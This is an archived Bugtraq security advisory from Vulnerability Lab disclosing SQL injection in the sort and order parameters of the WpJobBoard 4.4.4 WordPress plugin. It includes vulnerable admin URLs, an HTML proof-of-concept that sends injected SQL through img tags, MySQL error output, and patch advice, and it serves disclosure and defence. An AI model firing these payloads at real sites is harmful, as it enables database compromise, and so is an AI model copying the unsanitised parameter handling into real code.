Bugtraq mailing list archives

WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Sat, 6 Jan 2018 15:54:31 +0100

Document Title:
===============
WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1940


Release Date:
=============
2018-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
1940


Common Vulnerability Scoring System:
====================================
6


Vulnerability Class:
====================
SQL Injection


Product & Service Introduction:
===============================
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert 
additional 
features only when you need it and only where you see fit. WPJobBoard doesn’t limit your website to just a job board. 
Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins 
and themes offer. You can keep your community and your blog, but you can add a professional job board.

(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple sql-injection vulnerabilities in the WpJobBoard 
v4.4.4 wordpress web-application plugin.


Vulnerability Disclosure Timeline:
==================================
2018-01-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
WpJobBoard
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in the WpJobBoard v4.4.4 wordpress 
web-application plugin.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the database management 
system.

The sql-injection web vulnerabilities are located in the `order` and `sort` parameters of the `wpjb-job` and 
`wpjb-alerts` module 
GET method requests. Remote attackers are able to execute sql commands by performing client-side GET method requests 
with malicious 
statements via admin.php file. The request method to inject/execute is GET and the attack vector of the issue is 
located on the 
application-side in the insecure request statement. The issue can be exploited by privileged wp user accounts without 
user interaction.

The security risk of the sql web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) 
count of 6.0.
Exploitation of the remote sql injection vulnerabilities requires no user interaction and a privileged web-application 
user account.
Successful exploitation of the remote sql injection results in database management system, web-server and 
web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] wpjb-job
[+] wpjb-alerts

Vulnerable File(s):
[+] admin.php

Vulnerable Parameter(s):
[+] sort
[+] order


Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without user interaction and with privileged 
web-application user account.
For security appnstration or to reproduce the security web vulnerability follow the provided information and steps 
below to continue.


PoC: Exploitation
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION 
VULNERABILITY!]&order=asc
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION 
VULNERABILITY!]&order=asc


PoC: Exploit Code
<html>
<head><body>
<title>WPJOBBOARD SQL INJECTION PoC</title>
<img src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index
&filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
</body></head>
</html>


--- PoC Error Exception Logs ---
Fatal error: Uncaught exception
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''' at line 1
-
Fatal error: Uncaught exception 'wp_wpjb_job' with message 
'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''' at line 1


Reference(s):
https://wp-jobboard.localhost:8080/
https://wp-jobboard.localhost:8080/wp-admin/
https://wp-jobboard.localhost:8080/wp-admin/admin.php
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the vulnerable sort and order parameters in the web-applicatoon 
GET method request.
Disallow the usage of special chars to prevent malicious inputs and use a prepared statement to resolve the 
sql-injection vulnerability.
Disallow to display errors by default configuration and include an exception-handling to cover further malicious 
attacks.


Note: The sql-injections has been prevented in the version 4.9.1 up to the latest released version 5.1 of the 
wpjobboard wordpress web-application plugin.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerabilities in the wpjobboard web-application is estimated as 
high (CVSS 6.0).


Credits & Authors:
==================
Vulnerability-Lab [research () vulnerability-lab com] - 
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its 
suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even 
if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of 
liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any 
licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership 
requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not 
publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com           - www.vulnerability-db.com                                      - 
www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab                                 - 
youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires 
authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the 
use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact 
(admin@) to get an ask permission.

                                    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com


Current thread: